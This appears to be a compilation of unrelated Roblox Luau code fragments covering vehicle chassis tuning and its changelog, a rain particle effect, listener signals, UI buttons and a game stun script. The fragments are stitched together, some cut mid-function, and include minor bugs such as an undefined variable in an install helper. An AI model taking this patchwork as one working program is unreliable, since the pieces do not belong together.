'component and invoke store:getState() in the callback to access the latest state. '
)
end
local listener = {
callback = callback,
disconnected = false,
connectTraceback = debug.traceback(),
disconnectTraceback = nil
}
self._listeners = immutableAppend(self._listeners, listener)
local function disconnect()
if listener.disconnected then
error((
"Listener connected at: \n%s\n" ..
"was already disconnected at: \n%s\n"
):format(
tostring(listener.connectTraceback),
tostring(listener.disconnectTraceback)
))
end
if self._store and self._store._isDispatching then
error("You may not unsubscribe from a store listener while the reducer is executing.")
end
listener.disconnected = true
listener.disconnectTraceback = debug.traceback()
self._listeners = immutableRemoveValue(self._listeners, listener)
end
return {
disconnect = disconnect
}
end
function Signal:fire(...)
for _, listener in ipairs(self._listeners) do
if not listener.disconnected then
listener.callback(...)
end
end
end
return Signal
|
--[[Install Function]]
|
--
function install(asset, directory)
if asset and directory then
asset.Parent = directory
else
warn("Failed to install '"..dir.Name.."'; Specified asset to install or directory does not exist.")
end
end
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Sounds = {}
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("Sound") then
table.insert(Sounds, v)
end
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Sounds[math.random(1, #Sounds)]:Play()
wait(1)
Tool.Enabled = true
end
Tool.Activated:connect(Activated)
|
-- if human.Health <= 0 then
-- torso.Velocity = (torso.Position - position).unit * 10;
-- print("Dead");
-- end
|
print("Took "..(100-(distance-radius)*(100/radius)).." Damage")
end
end
|
--[=[
@return boolean
Returns `true` if the property object is ready to be
used. In other words, it has successfully gained
connection to the server-side version and has synced
in the initial value.
```lua
if clientRemoteProperty:IsReady() then
local value = clientRemoteProperty:Get()
end
```
]=]
|
function ClientRemoteProperty:IsReady(): boolean
return self._ready
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 180 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 300 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 330 ,
spInc = 30 , -- Increment between labelled notches
}
}
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{29,31,32,34,35,39,41,30,56,58},t},
[49]={{29,28,44,45,49},t},
[16]={n,f},
[19]={{29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{29,31,32,34,35,39,41,59},t},
[63]={{29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{29,31,32,34},t},
[21]={{29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{29,28,44,45,49,48},t},
[27]={{29,28,27},t},
[14]={n,f},
[31]={{29,31},t},
[56]={{29,31,32,34,35,39,41,30,56},t},
[29]={{29},t},
[13]={n,f},
[47]={{29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{29,28,44,45},t},
[57]={{29,31,32,34,35,39,41,30,56,57},t},
[36]={{29,31,32,33,36},t},
[25]={{29,28,27,26,25},t},
[71]={{29,31,32,34,35,39,41,59,61,71},t},
[20]={{29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{29,31,32,33,36,37},t},
[2]={n,f},
[35]={{29,31,32,34,35},t},
[53]={{29,28,44,45,49,48,47,52,53},t},
[73]={{29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{29,31,32,33},t},
[69]={{29,31,32,34,35,39,41,60,69},t},
[65]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{29,28,27,26},t},
[68]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{29,28,44,45,49,48,47,50},t},
[66]={{29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{29,28,27,26,25,24},t},
[23]={{29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{29,28,44},t},
[39]={{29,31,32,34,35,39},t},
[32]={{29,31,32},t},
[3]={n,f},
[30]={{29,31,32,34,35,39,41,30},t},
[51]={{29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{29,31,32,34,35,39,41,59,61},t},
[55]={{29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{29,28,44,45,49,48,47,46},t},
[42]={{29,31,32,34,35,38,42},t},
[40]={{29,31,32,34,35,40},t},
[52]={{29,28,44,45,49,48,47,52},t},
[54]={{29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{29,31,32,34,35,38},t},
[28]={{29,28},t},
[5]={n,f},
[64]={{29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[ END OF SERVICES ]]
|
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
PlayersService.ChildAdded:wait()
LocalPlayer = PlayersService.LocalPlayer
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local okShouldClipInGameChat, valueShouldClipInGameChat = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldClipInGameChat") end)
local shouldClipInGameChat = okShouldClipInGameChat and valueShouldClipInGameChat
local success, UserShouldLocalizeGameChatBubble = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble")
end)
local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble
|
--[[
Commands.DebugLoadstring = {
Prefix = ":";
Commands = {"debugloadstring";};
Args = {"code";};
Description = "DEBUG LOADSTRING";
Hidden = true;
NoFilter = true;
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
--error("Disabled", 0)
local ans = Remote.GetGui(plr, "YesNoPrompt", {
Icon = server.MatIcons.Warning;
Question = "Are you sure you want to load this script into the server env?";
Title = "Adonis DebugLoadstring";
Delay = 5;
})
if ans == "Yes" then
local func,err = Core.Loadstring(args[1],GetEnv())
if func then
func()
else
logError("DEBUG",err)
Functions.Hint(err,{plr})
end
end
end
};
--]]
|
Logs:AddLog("Script", "Debug Module Loaded");
end;
|
-- Helper methods:
|
local ignoreEmitterList = { Emitter }
local raycastFunctions = {
[CollisionMode.None] = function(ray, ignoreCharacter)
return workspace:FindPartOnRayWithIgnoreList(ray, ignoreCharacter and {Emitter, Players.LocalPlayer and Players.LocalPlayer.Character} or ignoreEmitterList)
end;
[CollisionMode.Blacklist] = function(ray)
return workspace:FindPartOnRayWithIgnoreList(ray, collisionList)
end;
[CollisionMode.Whitelist] = function(ray)
return workspace:FindPartOnRayWithWhitelist(ray, collisionList)
end;
[CollisionMode.Function] = function(ray)
local destination = ray.Origin + ray.Direction
-- draw multiple raycasts concatenated to each other until no hit / valid hit found
while ray.Direction.magnitude > 0.001 do
local part, pos, norm, mat = workspace:FindPartOnRayWithIgnoreList(ray, ignoreEmitterList)
if not part or collisionFunc(part) then
return part, pos, norm, mat
end
local start = pos + ray.Direction.Unit * 0.001
ray = Ray.new(start, destination - start)
end
end;
}
local raycast = raycastFunctions[collisionMode]
local function connectLoop()
local rand = Random.new()
local inside = true -- Whether camera is currently in a spot occluded from the sky
local frame = RAIN_UPDATE_PERIOD -- Frame counter, and force update cycle right now
-- Update Emitter on RenderStepped since it needs to be synced to Camera
table.insert(connections, RunService.RenderStepped:connect(function()
-- Check if camera is outside or inside
local part, position = raycast(Ray.new(workspace.CurrentCamera.CFrame.p, -rainDirection * RAIN_SCANHEIGHT), true)
if (not currentCeiling or workspace.CurrentCamera.CFrame.p.y <= currentCeiling) and not part then
-- Camera is outside and under ceiling
if volumeTarget < 1 and not disabled then
volumeTarget = 1
TweenService:Create(Sound, TweenInfo.new(.5), {Volume = 1}):Play()
end
frame = RAIN_UPDATE_PERIOD
local t = math.abs(workspace.CurrentCamera.CFrame.lookVector:Dot(rainDirection))
local center = workspace.CurrentCamera.CFrame.p
local right = workspace.CurrentCamera.CFrame.lookVector:Cross(-rainDirection)
right = right.magnitude > 0.001 and right.unit or -rainDirection
local forward = rainDirection:Cross(right).unit
Emitter.Size = v3(
RAIN_EMITTER_DIM_DEFAULT,
RAIN_EMITTER_DIM_DEFAULT,
RAIN_EMITTER_DIM_DEFAULT + (1 - t)*(RAIN_EMITTER_DIM_MAXFORWARD - RAIN_EMITTER_DIM_DEFAULT)
)
Emitter.CFrame =
CFrame.new(
center.x, center.y, center.z,
right.x, -rainDirection.x, forward.x,
right.y, -rainDirection.y, forward.y,
right.z, -rainDirection.z, forward.z
)
+ (1 - t) * workspace.CurrentCamera.CFrame.lookVector * Emitter.Size.Z/3
- t * rainDirection * RAIN_EMITTER_UP_MODIFIER
Emitter.RainStraight.Enabled = true
Emitter.RainTopDown.Enabled = true
inside = false
else
-- Camera is inside / above ceiling
Emitter.RainStraight.Enabled = false
Emitter.RainTopDown.Enabled = false
inside = true
end
end))
-- Do the other effects on Stepped
local signal = RunService:IsRunning() and RunService.Stepped or RunService.RenderStepped
table.insert(connections, signal:connect(function()
frame = frame + 1
-- Only do some updates once every few frames
if frame >= RAIN_UPDATE_PERIOD then
-- Measure of how much camera is facing down (0-1)
local t = math.abs(workspace.CurrentCamera.CFrame.lookVector:Dot(rainDirection))
-- More looking down = see straight particles less and see top-down particles more
local straightSequence = NumberSequence.new {
NSK010;
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, (1 - t)*straightLowAlpha + t, 0);
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, (1 - t)*straightLowAlpha + t, 0);
NSK110;
}
local topdownSequence = NumberSequence.new {
NSK010;
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T1, t*topdownLowAlpha + (1 - t), 0);
NumberSequenceKeypoint.new(RAIN_TRANSPARENCY_T2, t*topdownLowAlpha + (1 - t), 0);
NSK110;
}
-- Find desired rotation for the straight rain particles
local mapped = workspace.Camera.CFrame:inverse() * (workspace.Camera.CFrame.p - rainDirection)
local straightRotation = NumberRange.new(math.deg(math.atan2(-mapped.x, mapped.y)))
if inside then
-- Update emitter properties
for _,v in pairs(rainAttachments) do
v.RainStraight.Transparency = straightSequence
v.RainStraight.Rotation = straightRotation
v.RainTopDown.Transparency = topdownSequence
end
if not disabled then
-- Only do occluded volume check if not moving towards disabled state
local volume = 0
if (not currentCeiling or workspace.CurrentCamera.CFrame.p.y <= currentCeiling) then
-- Check how far away camera is from a space open to the sky using volume scan grid
local minDistance = RAIN_VOLUME_SCAN_RADIUS
local rayDirection = -rainDirection * RAIN_SCANHEIGHT
for i = 1, #volumeScanGrid do -- In order, so first hit is closest
if not raycast(Ray.new(workspace.CurrentCamera.CFrame * volumeScanGrid[i], rayDirection), true) then
minDistance = volumeScanGrid[i].magnitude
break
end
end
-- Volume is inversely proportionate to minimum distance
volume = 1 - minDistance / RAIN_VOLUME_SCAN_RADIUS
end
if math.abs(volume - volumeTarget) > .01 then
-- Value is sufficiently different from previous target, overwrite it
volumeTarget = volume
TweenService:Create(Sound, TweenInfo.new(1), {Volume = volumeTarget}):Play()
end
end
else
-- Update emitter properties
Emitter.RainStraight.Transparency = straightSequence
Emitter.RainStraight.Rotation = straightRotation
Emitter.RainTopDown.Transparency = topdownSequence
end
-- Reset frame counter
frame = 0
end
local center = workspace.CurrentCamera.CFrame.p
local right = workspace.CurrentCamera.CFrame.lookVector:Cross(-rainDirection)
right = right.magnitude > 0.001 and right.unit or -rainDirection
local forward = rainDirection:Cross(right).unit
local transform = CFrame.new(
center.x, center.y, center.z,
right.x, -rainDirection.x, forward.x,
right.y, -rainDirection.y, forward.y,
right.z, -rainDirection.z, forward.z
)
local rayDirection = rainDirection * RAIN_OCCLUDECHECK_SCAN_Y
-- Splash and occlusion effects
for i = 1, numSplashes do
local splashAttachment = splashAttachments[i]
local rainAttachment = rainAttachments[i]
-- Sample random splash position
local x = rand:NextNumber(RAIN_OCCLUDECHECK_OFFSET_XZ_MIN, RAIN_OCCLUDECHECK_OFFSET_XZ_MAX)
local z = rand:NextNumber(RAIN_OCCLUDECHECK_OFFSET_XZ_MIN, RAIN_OCCLUDECHECK_OFFSET_XZ_MAX)
local part, position, normal = raycast(Ray.new(transform * v3(x, RAIN_OCCLUDECHECK_OFFSET_Y, z), rayDirection))
if part then
-- Draw a splash at hit
splashAttachment.Position = position + normal * RAIN_SPLASH_CORRECTION_Y
splashAttachment.RainSplash:Emit(1)
if inside then
-- Draw occlusion rain particles a little bit above the splash position
local corrected = position - rainDirection * RAIN_SPLASH_STRAIGHT_OFFSET_Y
if currentCeiling and corrected.Y > currentCeiling and rainDirection.Y < 0 then
corrected = corrected + rainDirection * (currentCeiling - corrected.Y) / rainDirection.Y
end
rainAttachment.CFrame = transform - transform.p + corrected
rainAttachment.RainStraight:Emit(intensityOccludedRain)
rainAttachment.RainTopDown:Emit(intensityOccludedRain)
end
elseif inside then
-- Draw occlusion rain particles on the XZ-position at around the camera's height
local corrected = transform * v3(x, rand:NextNumber(RAIN_NOSPLASH_STRAIGHT_OFFSET_Y_MIN, RAIN_NOSPLASH_STRAIGHT_OFFSET_Y_MAX), z)
if currentCeiling and corrected.Y > currentCeiling and rainDirection.Y < 0 then
corrected = corrected + rainDirection * (currentCeiling - corrected.Y) / rainDirection.Y
end
rainAttachment.CFrame = transform - transform.p + corrected
rainAttachment.RainStraight:Emit(intensityOccludedRain)
rainAttachment.RainTopDown:Emit(intensityOccludedRain)
end
end
end))
end
local function disconnectLoop()
-- If present, disconnect all RunService connections
if #connections > 0 then
for _,v in pairs(connections) do
v:disconnect()
end
connections = {}
end
end
local function disableSound(tweenInfo)
-- Tween the rain sound to be mute over a given easing function
volumeTarget = 0
local tween = TweenService:Create(Sound, tweenInfo, {Volume = 0})
tween.Completed:connect(function(state)
if state == Enum.PlaybackState.Completed then
Sound:Stop()
end
tween:Destroy()
end)
tween:Play()
end
local function disable()
disconnectLoop()
-- Hide Emitter
Emitter.RainStraight.Enabled = false
Emitter.RainTopDown.Enabled = false
Emitter.Size = MIN_SIZE
-- Disable sound now if not tweened into disabled state beforehand
if not disabled then
disableSound(TweenInfo.new(RAIN_SOUND_FADEOUT_TIME))
end
end
|
----[RETURNS THE PREVIEW COLOR FOR A GIVEN COLOR PICKER]----
--[[Use these 2 lines to get the Color3 Value
local ColorPickerModule = require(script.Parent.ColorPicker)
local PreviewColor3 = ColorPickerModule.ReturnPreviewColor("DropShadow")
]]
|
function ColorPickerModule.ReturnPreviewColor(ColorPicker)
for i = 1, #FeaturesWithColorPickers do
if FeaturesWithColorPickers[i] == ColorPicker then
return PreviewColor[i].BackgroundColor3
end
end
end
return ColorPickerModule
|
--[[
Utility function to log a Fusion-specific warning.
]]
|
local Package = script.Parent.Parent
local messages = require(Package.Logging.messages)
local function logWarn(template, ...)
local formatString = messages[template]
if formatString == nil then
template = "unknownMessage"
formatString = messages[template]
end
warn(string.format("[Fusion] " .. formatString .. "\n(ID: " .. template .. ")", ...))
end
return logWarn
|
--[=[
Destroy the keyboard input capturer.
]=]
|
function Keyboard:Destroy()
self._trove:Destroy()
end
return Keyboard
|
--Hover and select home buttons
|
local hovering = nil
for a,b in pairs(pages.Home:GetChildren()) do
if b:IsA("TextButton") then
local fade = b.Fade
local function pressButton()
if guiDe then
guiDe = false
local pageIn = pages:FindFirstChild(b.Name)
if pageIn then
tweenPages(UDim2.new(-1,0,0,0), pageIn)
end
guiDe = true
end
end
if main.device == "Mobile" then
b.MouseButton1Up:Connect(function()
pressButton()
end)
else
b.MouseButton1Down:Connect(function()
pressButton()
end)
end
b.InputBegan:Connect(function(input)
if not b.RankBlocker.Visible then
main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 0.8}):Play()
end
end)
b.InputEnded:Connect(function(input)
main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 1}):Play()
end)
end
end
|
--Front
|
local axle2 = Instance.new("Part", bike.FrontSection)
axle2.Anchored = true
axle2.CanCollide = false
if _Tune.AxlesVisible or _Tune.Debug then axle2.Transparency = .75 else axle2.Transparency = 1 end
axle2.Name = "Axle"
axle2.Position = fWheel.Position
axle2.Orientation = fWheel.Orientation
axle2.Size = Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)
axle2.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100)
local fgyro = Instance.new("BodyGyro",axle2)
fgyro.Name="Stabilizer"
fgyro.MaxTorque = Vector3.new(1,0,1)
fgyro.P=0
fgyro.D=_Tune.FGyroDamp
|
--[=[
Cleans up all objects in the Janitor. This is
similar to calling `Remove` on each object
within the Janitor.
]=]
|
function Janitor:Clean()
for _,obj in ipairs(self._objects) do
self:_cleanupObject(obj[1], obj[2])
end
table.clear(self._objects)
end
function Janitor:_cleanupObject(object, cleanupMethod)
if cleanupMethod == FN_MARKER then
object()
else
object[cleanupMethod](object)
end
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.23 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.30 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 4.71 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 3.14 ,
--[[ 3 ]] 2.11 ,
--[[ 4 ]] 1.67 ,
--[[ 5 ]] 1.29 ,
--[[ 6 ]] 1.00 ,
--[[ 7 ]] 0.84 ,
--[[ 8 ]] 0.67 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance
|
function VRBaseCamera:GetCameraToSubjectDistance(): number
return self.currentSubjectDistance
end
|
-- Piggy "Stun" Script
|
local debounce = false
local Gamemode = game.ReplicatedStorage.Mode
game.ReplicatedStorage.Stun.OnServerEvent:Connect(function(plr,target)
if target then
if target:FindFirstAncestorOfClass("Model") then
-- Check to see if clicked model is a real player
local piggy = target:FindFirstAncestorOfClass("Model")
if piggy then
if piggy:FindFirstChild("Bear") then -- Check to see if it is actually Piggy or just another contestant
if not debounce then
local stunTag = Instance.new("BoolValue")
stunTag.Name = "Stunned"
stunTag.Parent = piggy
game.ReplicatedStorage.Announcement:FireAllClients("Piggy is gone for 20 seconds")
piggy.Torso.Script.Disabled = true
if piggy:FindFirstChild("UpperTorso") then
local anim = piggy:FindFirstChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.StunnedR15)
debounce = true
-- Freeze piggy by setting walkspeed to 0
piggy.Humanoid.WalkSpeed = 0
piggy.Humanoid.JumpPower = 0
anim:Play()
wait(20) -- wait 20 sec before enabling walkspeed again to 14 and then setting debounce to false so
-- that the piggy can be stunned again
anim:Stop()
piggy.Humanoid.WalkSpeed = 14
piggy.Humanoid.JumpPower = 20
piggy.Torso.Script.Disabled = false
debounce = false
else
local anim = piggy:FindFirstChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.Stunned)
debounce = true
-- Freeze piggy by setting walkspeed to 0
piggy.HumanoidRootPart.Anchored = true
piggy.Animate.Disabled = true
piggy.Humanoid.WalkSpeed = 0
piggy.Humanoid.JumpPower = 0
anim:Play()
wait(20) -- wait 20 sec before enabling walkspeed again to 14 and then setting debounce to false so
-- that the piggy can be stunned again
piggy.HumanoidRootPart.Anchored = false
piggy.Animate.Disabled = false
anim:Stop()
piggy.Humanoid.WalkSpeed = 14
piggy.Humanoid.JumpPower = 20
piggy.Torso.Script.Disabled = false
debounce = false
end
-- Enable debounce so stun effect cannot be applied again for 20 seconds
piggy:FindFirstChild("Stunned"):Destroy() -- Delete stunned tag so we can tell from other scripts that the
-- piggy is no longer stunned.
end
end
end
end
end
end)
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Signal = require(Libraries:WaitForChild 'Signal')
local Maid = require(Libraries:WaitForChild 'Maid')
|
------//Patrol Animations
|
self.RightPatrol = CFrame.new(-1, 1.1, -0.5) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));
self.LeftPatrol = CFrame.new(1,1,-0.9) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));
self.RightElbowPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftElbowPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.RightWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
|
-- Call this from a function bound to Renderstep with Input Priority
|
function VehicleController:Update(moveVector, cameraRelative, usingGamepad)
if self.vehicleSeat then
if cameraRelative then
-- This is the default steering mode
moveVector = moveVector + Vector3.new(self.steer, 0, self.throttle)
if usingGamepad and onlyTriggersForThrottle and useTriggersForThrottle then
self.vehicleSeat.ThrottleFloat = -self.throttle
else
self.vehicleSeat.ThrottleFloat = -moveVector.Z
end
self.vehicleSeat.SteerFloat = moveVector.X
return moveVector, true
else
-- This is the path following mode
local localMoveVector = self.vehicleSeat.Occupant.RootPart.CFrame:VectorToObjectSpace(moveVector)
self.vehicleSeat.ThrottleFloat = self:ComputeThrottle(localMoveVector)
self.vehicleSeat.SteerFloat = self:ComputeSteer(localMoveVector)
return ZERO_VECTOR3, true
end
end
return moveVector, false
end
function VehicleController:ComputeThrottle(localMoveVector)
if localMoveVector ~= ZERO_VECTOR3 then
local throttle = -localMoveVector.Z
return throttle
else
return 0.0
end
end
function VehicleController:ComputeSteer(localMoveVector)
if localMoveVector ~= ZERO_VECTOR3 then
local steerAngle = -math.atan2(-localMoveVector.x, -localMoveVector.z) * (180 / math.pi)
return steerAngle / self.autoPilot.MaxSteeringAngle
else
return 0.0
end
end
function VehicleController:SetupAutoPilot()
-- Setup default
self.autoPilot.MaxSpeed = self.vehicleSeat.MaxSpeed
self.autoPilot.MaxSteeringAngle = AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE
-- VehicleSeat should have a MaxSteeringAngle as well.
-- Or we could look for a child "AutoPilotConfigModule" to find these values
-- Or allow developer to set them through the API as like the CLickToMove customization API
end
return VehicleController
|
--[[ <<DO NOT DELETE THIS MODULE>>
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/ Build 6.43S
SecondLogic @ Inspare
>>Manual
Basically...everything you can and would ever want to touch is in the tuning module. EVERYTHING
Torque Curve Tune Visualizer:
https://www.desmos.com/calculator/2uo3hqwdhf
Basic Tips:
--Installation
>Everything is built-in (assembly, welding, suspension, gyros), so all you have to worry about is placing the wheels and the seat.
>Body parts go in the "Body" section.
>Wheel parts such as 3D rims and brake disks go in the "Parts" section of the wheel.
>Suspension-Anchored parts such as suspension wishbones and linkages go in the "SuspensionFixed" section.
>Axle-Anchored parts such as calipers go in the "WheelFixed" section.
>You can add or remove wheels. To add a wheel, simply copy one of the wheels and make sure it's named one of the following: "F","FL","FR","R","RL","RR".
>Wheels need to be aligned with the axes of the seat. Don't rotate the seat relative to the wheels as it may cause welding problems.
>All wheel offsets are applied in the tuning module. Do NOT manually add offset to the wheels. Steering axis is centered on the wheel part by default.
>Seat offset can be adjusted in the "MiscWeld" module under "Initialize".
>Use the "Misc" section for scripted/moving parts and apply welding using the "MiscWeld" module under "Initialize".
--Tuning
>Reduce weight(density) if setup is lacking torque. Increase density if setup has too much torque.
>Add downforce manually if setup is lacking grip or use a downforce plugin.
>Dialing in ratios used in real cars is an easy way to have a realisticly tuned transmission.
>Modifying the "Drive" script may affect the integrity of the system.
>Custom scripts should be put in the "Plugins" folder. Using plugins made by other users is encouraged.
>When writing custom plugins, you can reference the values within the "Values" folder inside the A-Chassis Interface.
>It is a good practice to make plugins compatible with any setup and providing a usage manual if a plugin is released.
>You can remove/change the default plugins that come with the kit. The drive system will still work perfectly with or without them.
--Updates
>To update, simply just replace the entire "A-Chassis Tune" module of an existing car with a newer version of the module.
>You may want to copy the tune values and plugins from the old module, but dont simply overwrite the tune module as new values may be added.
>>Changelog
[5/23/17 : Build 6.43S] - STUFF
[Added Tune Values]
-Added WBVisible to set weight brick visibility
[Independent Camera Handling]
-Separated camera handling from Drive script
-Mouse camera is now handled by a plugin
-Custom camera plugin support is now easier
[Stock Plugins Update]
-Added Dynamic Friction as a stock plugin
-Dynamic friction can be tuned within the Simulated script
-Updated default sound plugin
-Added mouse-steer camera plugin
[Code Fixes]
-Fixed missing operation within torque curve
-Slight optimizations during runtime
[5/20/17 : Build 6.42S] - ABS and PGS Standardization
[Added ABS]
-Modulates brakes when locking
-Added threshold value for slip allowance
-Added control toggles for ABS
-Added ABS indicator and control mapping to stock UI
[Split Density Tuning for PGS and Legacy]
-Added standardized weight scaling values to tune
-Default weight tuning set to 1 cubic stud : 50 lbs for PGS
-Default weight tuning set to 1 cubic stud : 10 lbs for Legacy
-Split front and rear density to PGS and Legacy
-Split brake force tuning to PGS and Legacy
[Added Tune Values]
-TCSEnabled: Sets whether or not the car will have TCS
-ABSEnabled: Sets whether or not the car will have ABS
-LoadDelay: Sets a delay time before initializing car
[Bug Fix: Axle Size Initialization]
-Car applies proper axle size
-Added AxleDensity value which sets axle density
-Fixed miscelaneous wheel part welding
[Added Changable Stock Gauge Units]
-Added units system for stock gauges
-Added default units: MPH [1 stud : 10 in], KP/H [1 stud : 10 in], SPS
-Custom units can be added or removed
-Click on speed to change between units
-Moved Controls button to middle for better visibility
[Code Documentation]
-Extensive documentation and commenting within scripts for better readability
-Improved warning message for oversized mass condition
[5/4/17 : Build 6.41S] - Standardized Weight
[Added automatic weight system]
-Added tune values for car weight, center of gravity, and wheel density
-Weight standard: 100 lbs = 1 cubic stud mass
-Applies weight at initialization
[Scaled Down Power Delivery]
-Horsepower output now at 1/10 because of lighter weight standard
-Added FDMult value in transmission for gear ratio scaling without having to change Final Drive (useful for low HP tunes)
[Optimized value for Anchor Offset]
-Changed "SusOffset" to "Anchor Offset"
-New anchor offset is now based off of wishbone length and wishbone angle.
-Anchor offset now labelled for forward, lateral, and vertical offsets.
[Split some tune values to F/R]
-Suspension values for front and rear are now independently tunable.
-Front and rear brakes can be tuned independently.
[Tune Module Housekeeping]
-Rearranged and documented several of the values within the tune module.
-Removed GyroP and GyroMaxTorque for simplicity. Dampening values are still present.
-Changed some decimal values to percent values
[1/2/17 : Build 6.40S] - Suspension
"S" Build number identifies suspension build
[Added suspension system for PGS Physics Solver]
-Suspension uses ROBLOX constraints and is automatically generated with the chassis
-Added tune values for suspension
-Temporarily removed caster tuning
[Steering Fix]
-Added tune value 'ReturnSpeed' which determines how fast wheels return to default orientation
[New Torque Curve Equation]
-New equation gives more control over the shape of the torque curve
-Engine values have been replaced with the new equation's variables
-Added link to desmos graph for the torque curve visualization
[10/31/16 : Build 6.33] - Semi-Automatic
[Added semi-automatic transmission mode]
-'TransModes' now accepts "Semi" value for semi-automatic.
-Updated AC6_Stock_Gauges to include semi-automatic mode.
[Fixed disengaging p-brake]
-P-Brake now remains engaged if player gets into then vehicle.
[Fixed FE Support for AC6_Stock_Sound]
-Sounds should now work properly with Filtering Enabled.
[8/5/16 : Build 6.32] - Differential System
[Implemented differential system]
-Differential controls torque distibution between wheels that are spinning at different rates
-Added tune values 'FDiffSlipThres', 'FDiffLockThres', 'RDiffSlipThres', 'RDiffLockThres', 'CDiffSlipThres', and 'CDiffLockThres'.
-'DiffSlipThres' determine the threshold of the speed difference between the wheels. Full lock applies at max threshold.
-A lower slip threshold value will make the diff more aggressive.
-'DiffLockThres' determines the bias of the differential.
-A lock threshold value more than 50 puts more torque into the slipping wheel (moving towards an open diff).
-A lock threshold value less than 50 puts more torque into the grounded wheel (moving towards a locked diff).
[Fixed multiple wheel support]
-The chassis can now use more than just the default 4 set of wheels. Just copy an existing wheel and place accordingly.
-Differential works with auxiliary wheels.
[7/13/16 : Build 6.31] - Peripheral Settings
[Added peripheral adjustment values]
